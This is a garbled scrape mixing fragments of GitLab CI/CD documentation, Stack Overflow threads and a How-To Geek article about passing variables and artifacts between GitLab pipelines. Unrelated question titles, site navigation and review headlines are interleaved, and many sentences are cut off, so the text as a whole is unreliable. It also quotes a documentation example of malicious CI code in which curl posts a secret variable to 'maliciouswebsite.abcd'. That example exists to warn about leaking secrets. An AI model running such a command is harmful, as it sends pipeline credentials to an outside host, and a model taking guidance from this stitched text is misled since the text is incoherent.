After hours of searching I found in this gitlab issue comment and this stackoverflow post that the artifacts.reports.dotenv doesn't work with the dependencies or the needs keywords. You must have administrator access to the instance. ", echo "This child pipeline job runs only when the parent pipeline is a merge request pipeline", curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline", echo "This is a test artifact!" In the child pipeline's details page. Variables from the specific pipeline trigger override everything that comes before. a temporary merge commit, can access these variables if the branch is a protected branch. You trigger a child pipeline configuration file from a parent by including it with the include key as a parameter to the trigger key. re-assign it in your .gitlab-ci.yml: You can create a new environment variables in a job, and pass it to another job before_script: Now, the parent pipeline can use the variable that is stored in the report artifact. Content Discovery initiative April 13 update: Related questions using a Review our technical responses for the 2023 Developer Survey. You can now reference your variable in pipelines that execute within the scope you defined it in. You must be a project member with the Maintainer role. To get the best use of the features provided by Gitlab, we've been trying to set up a parent-child pipeline that would trigger the execution of some of the jobs from the project C as part of the integration process for the project P. To establish such a process, we have defined our CI configuration as the following: Introduced in GitLab 13.5. That's what git is for. A parent pipeline can trigger many child pipelines, and these child pipelines can trigger to define variables that are prefilled You can name the child pipeline file whatever you want, but it still needs to be valid YAML. When authenticating with the API, you can use: A trigger token to trigger a branch or tag pipeline. Variables saved in the .gitlab-ci.yml file are visible to all users with access to Where does gitlab-runner download job artifacts zip file? If the variable is defined: Use the value and description keywords For example, if you are using kubectl with: Pass KUBE_URL as a --server option, which accepts a variable, and pass $KUBE_CA_PEM GitLab CIs Variables system lets you inject data into your CI job environments. For merge request pipelines, the ref value is in the form of refs/merge-requests//head, In this release weve added a new trigger:forward keyword to control what things you forward to downstream parent-child pipelines or multi-project pipelines, which provides a flexible way to handle variable inheritance in downstream pipelines. subscription). As the Ruby script is generating YAML, make sure the indentation is correct, or the pipeline jobs will fail. if a pipeline fails for the main branch, its common to say that main is broken. The pipeline containing the building job runs whenever a merge request is opened. Each variable needs a unique Key; this is how youll reference the variable within your pipeline and its scripts. Dhall or ytt. Masked variables display as [masked]. Has the cause of a rocket failure ever been mis-identified, such that another launch failed due to the same problem? [I think the /file/ variant is used for Gitlab Pages artifacts, but I'm not sure. A downstream pipeline is any GitLab CI/CD pipeline triggered by another pipeline. By clicking Post Your Answer, you agree to our terms of service, privacy policy and cookie policy. Yes, sorry, just was looking at build_version and copied. These variables cannot be used as CI/CD variables to configure a pipeline, Find centralized, trusted content and collaborate around the technologies you use most. All other artifacts are still governed by the. valid secrets file. paths: targeting content that changed or to build a matrix of targets and architectures. temporary merge commit, not a branch or tag, do not have access to these variables. There are a couple of other options however. This problem is especially true for the increasingly popular "monorepo" pattern, where teams keep code for multiple related services in one repository. I copied the, Sorry, missed the part where you were trying to skip the, Thank you for your answer. The CI/CD variables set in the GitLab UI. You trigger a child pipeline configuration file from a parent by including it with the include key as a parameter to the trigger key. In this guide well look at how you can set and use variables within your own CI system. for creating a new release via the Gitlab API. The upstream projects pipelines page Variable Passing Options variables in trigger job This usage is documented here: https://docs.gitlab.com/13.4/ee/ci/multi_project_pipelines.html#passing-variables-to-a-downstream-pipeline ( documentation => we may need this info also in the parent-child docs) It has some problems though. The masking feature is best-effort and there to configuration for jobs that use the Windows runner, like scripts, use \. Have not been run from inside a CI container, The initial GraphQL API request script is untested, The final command to download and extract the archive is untested. This way the app is built and the developer can click on the "Review App" icon in the merge request. not in the .gitlab-ci.yml file. and stored in the database. If you use a public project to trigger downstream pipelines in a private project, Why did DOS-based Windows require HIMEM.SYS to boot? This dialog also provides a way to delete redundant variables. Docs should be updated on the Parent-child pipelines page to show users how to do this also. The result of a dynamic parent-child pipeline. Be 8 characters or longer, consisting only of: Characters from the Base64 alphabet (RFC4648). For now, I've used shell as well as Python. information about the job, pipeline, and other values you might need when the pipeline A minor scale definition: am I missing something? GitLab server and visible in job logs. displays to the right of the mini graph. In the GitLab configuration file we have: a generation job and a trigger job. The variables set at the instance, group, and project level are layered in. Update: I found the section Artifact downloads between pipelines in the same project in the gitlab docs which is exactly what I want. If the job/variable/project/branch of the upstream pipeline changes its name, the downstream pipeline doesn't recognize this change automatically, and it couldn't work anymore as expected. The deploying job is run right after the merge request is merged. echo "The job's stage is '$CI_JOB_STAGE'", echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'", echo This job does not need any variables, echo "This script logs into the DB with $USER $PASSWORD", curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/", D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test, echo "BUILD_VARIABLE=value_from_build_job" >> build.env, "1ecfd275763eff1d6b4844ea3168962458c9f27a", "https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab.git", Features available to Starter and Bronze subscribers, Change from Community Edition to Enterprise Edition, Zero-downtime upgrades for multi-node instances, Upgrades with downtime for multi-node instances, Change from Enterprise Edition to Community Edition, Configure the bundled Redis for replication, Generated passwords and integrated authentication, Example group SAML and SCIM configurations, Tutorial: Move a personal project to a group, Tutorial: Convert a personal namespace into a group, Rate limits for project and group imports and exports, Tutorial: Use GitLab to run an Agile iteration, Tutorial: Connect a remote machine to the Web IDE, Configure OpenID Connect with Google Cloud, Create website from forked sample project, Dynamic Application Security Testing (DAST), Frontend testing standards and style guidelines, Beginner's guide to writing end-to-end tests, Best practices when writing end-to-end tests, Shell scripting standards and style guidelines, Add a foreign key constraint to an existing column, Case study - namespaces storage statistics, Introducing a new database migration version, GitLab Flavored Markdown (GLFM) specification guide, Import (group migration by direct transfer), Build and deploy real-time view components, Add new Windows version support for Docker executor, Version format for the packages and Docker images, Architecture of Cloud native GitLab Helm charts, Pass an environment variable to another job, override variable values manually for a specific pipeline, With the project-level variables API endpoint, With the group-level variables API endpoint, With the instance-level variables API endpoint, run a merge request pipeline in the parent project for a merge request from a fork, Run a pipeline in the parent project for a merge request submitted from a forked project, limit a variable to protected branches and tags only, limits what can be included in a masked variable, store your CI/CD configurations in a different repository, Managing the Complex Configuration Data Management Monster Using GitLab, Masking of large secrets (greater than 4 KiB) could potentially be, The tail of a large secret (greater than 4 KiB) could potentially be. optionally be set as a file type (variable_type of file in the API). You can use variables in a job or at the top level of the .gitlab-ci.yml file. But not today. The fact that "building" is run on the branch that defines merge request, and "deploying" is run on the result of the merge, doesn't imply that "deploying" is just the next stage. Alternatively, if you want the merge event to actually update the main branch with the version state, just use a source-controlled VERSION file. the repository, and should store only non-sensitive project configuration. These variables are trigger variables for variable precedence. Alternatively, So my question is: How do I pass the $BUILD_VERSION (and other data) from staging/building to deploy/deploying? video is a walkthrough of the Complex Configuration Data Monorepo For a project-level variable, that means going to Settings > CI/CD from GitLabs left sidebar while viewing a page within the project. But sadly this doesn't work. Yeah, manually tagging commits is probably the easiest way to get this working. with a job token as downstream pipelines of the pipeline that contains the job that You can reference them within your .gitlab-ci.yml file as standard environment variables: You can escape the $ character using the $$VARIABLE syntax: This example would cause $EXAMPLE_VARIABLE to be logged, instead of the value of the EXAMPLE_VARIABLE variable as shown above. static file saved in your project. A single set of common steps that feed into Multiple distinct steps, dependent on artifacts from #1, that could be nicely represented by child pipelines. or in job scripts. The type of variable and where they are defined determines keywords to control which jobs receive the dotenv artifacts. Ditto my other answer below: untested, but might work, and the research so far might save somebody some work. pipeline trigger API endpoint Where can I find a clear diagram of the SPECK algorithm? You can pass variables to a downstream job with dotenv variable inheritance Join 425,000 subscribers and get a daily digest of news, geek trivia, and our feature articles. Get rid of, @Peter Sadly this doesn't work. The following example shows malicious code in a .gitlab-ci.yml file: To help reduce the risk of accidentally leaking secrets through scripts like in accidental-leak-job, on what other GitLab CI patterns are demonstrated are available at the project page. When you purchase through our links we may earn a commission. For example: The script in this example outputs The job's stage is 'test'. If there are other ways than the ones I've tried, I'm very happy to hear them. Okey so if it erase then you need to have "needs" option or start using stages like that: Gitlab CI/CD Pass artifacts/variables between pipelines, Pass an environment variable to another job, Gitlab ci cd removes artifact for merge requests, Use artifacts from merge request job in GitLab CI, Artifact downloads between pipelines in the same project, Access a branch or tag's latest job artifacts by URL, https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/raw/review/index.html?job=coverage, Config setting: Keep artifacts from each branch's most recent succesful jobs, How a top-ranked engineering school reimagined CS curriculum (Ep. upstream pipeline: In the upstream pipeline, save the artifacts in a job with the artifacts Passing negative parameters to a wolframscript. For problems setting up or using this feature (depending on your GitLab The value of the variable must: Different versions of GitLab Runner have different masking limitations: You can configure a project, group, or instance CI/CD variable to be available This should work according to the docs! Since commit SHAs are not supported, $CI_COMMIT_BEFORE_SHA or $CI_COMMIT_SHA do not work either. That bit works for sure. In the job script, save the variable as a. If a different branch got in first, you'll have to resolve the conflict, as you should. Reading Graduated Cylinders for a non-transparent liquid. are variable type (variable_type of env_var in the API). Browse other questions tagged, Where developers & technologists share private knowledge with coworkers, Reach developers & technologists worldwide, Yes agreed, but artifacts cannot be passed with a, Personally I'm not fond of the idea though, as it sounds contradictory to the purpose of a, This does not provide an answer to the question. Merge request pipelines, which do not use You can use variables in job scripts with the standard formatting for each environments When you trigger a downstream pipeline with the trigger keyword, If you run a merge request pipeline in the parent project for a merge request from a fork, Are visible in the downstream projects pipeline list. shell. Another useful pattern to use for parent-child pipelines is a rules key to trigger a child pipeline under certain conditions. At their simplest variables are key-value pairs which are injected as environment variables into your pipelines execution context. For more information, see the Cross-project Pipeline Triggering and Visualization demo at Consider the following example (full yml below): I have two stages, staging and deploy. Variables can be defined within your .gitlab-ci.yml file using a variables block. My challenge is how to pass variables from child to parent pipeline and how the parent pipeline can pass these variables to a downstream pipeline, that it describes in another GitLab project. For your case, assuming the 'building' and 'deploying' jobs both run on the main branch, you can hopefully pass the artifact like so. Canadian of Polish descent travel to Poland with Canadian passport, Ubuntu won't accept my choice of password. Going by the Gitlab docs, it should be possible to download any job's artifact by URL, if it hasn't expired yet. You can use predefined CI/CD variables in your .gitlab-ci.yml without declaring them first. To ensure consistent behavior, you should always put variable values in single or double quotes. Delayed expansion might be needed for variables that contain white spaces or newlines: Service containers can use CI/CD variables, but Steam's Desktop Client Just Got a Big Update, The Kubuntu Focus Ir14 Has Lots of Storage, This ASUS Tiny PC is Great for Your Office, Windows 10 Won't Get Any More Major Updates, Razer's New Headset Has a High-Quality Mic, NZXT Capsule Mini and Mini Boom Arm Review, Audeze Filter Bluetooth Speakerphone Review, Reebok Floatride Energy 5 Review: Daily running shoes big on stability, Kizik Roamer Review: My New Go-To Sneakers, LEGO Star Wars UCS X-Wing Starfighter (75355) Review: You'll Want This Starship, Mophie Powerstation Pro AC Review: An AC Outlet Powerhouse, How to Set Variables In Your GitLab CI Pipelines, WordTsar Is Reviving the 80s WordStar Writing Experience, Windows 11 Has More Widgets Improvements on the Way. You can make a CI/CD variable available to all projects in a group. See if GitLab 14.10 (April 2022) can help: Improved pipeline variables inheritance Previously, it was possible to pass some CI/CD variables to a downstream pipeline through a trigger job, but variables added in manual pipeline runs or by using the API could not be forwarded. CI/CD variable. Also ideally, somebody will try out the code above and leave a comment whether they get it to work. The first way works similarly that I described in the above section. Variables are supported at the instance, group, project, and pipeline level, giving you flexibility when setting fallback values, defaults, and overrides. Now, I want, that the value of the variable MODULE_A_VERSION of the child pipeline is pass to the downstream pipeline. Pass CI/CD variables to a child pipeline You can pass CI/CD variables to a downstream pipeline using the same methods as multi-project pipelines: By using the variable keyword. Why don't we use the 7805 for car phone chargers? Let's start with the parent pipeline configuration file: During our self-defined setup stage the pipeline runs the write-config.rb script. How to trim whitespace from a Bash variable? Unfortunately, it is not enough to reference the job name of the child pipeline that creates the report artifact. build: Any unintentional echo $SECRET_VALUE will be cleaned up, reducing the risk of a user seeing a sensitive token value as they inspect the job logs using the GitLab web UI. The artifact path is parsed by GitLab, not the runner, so the path must match the They can also be interpolated into the values of other fields in your .gitlab-ci.yml file, enabling dynamic pipeline configuration: GitLab CI defines several built-in variables that are always available. To create a CI/CD variable in the .gitlab-ci.yml file, define the variable and the value of the $CI_PIPELINE_SOURCE predefined variable predefined CI/CD variable, is available in the downstream pipeline.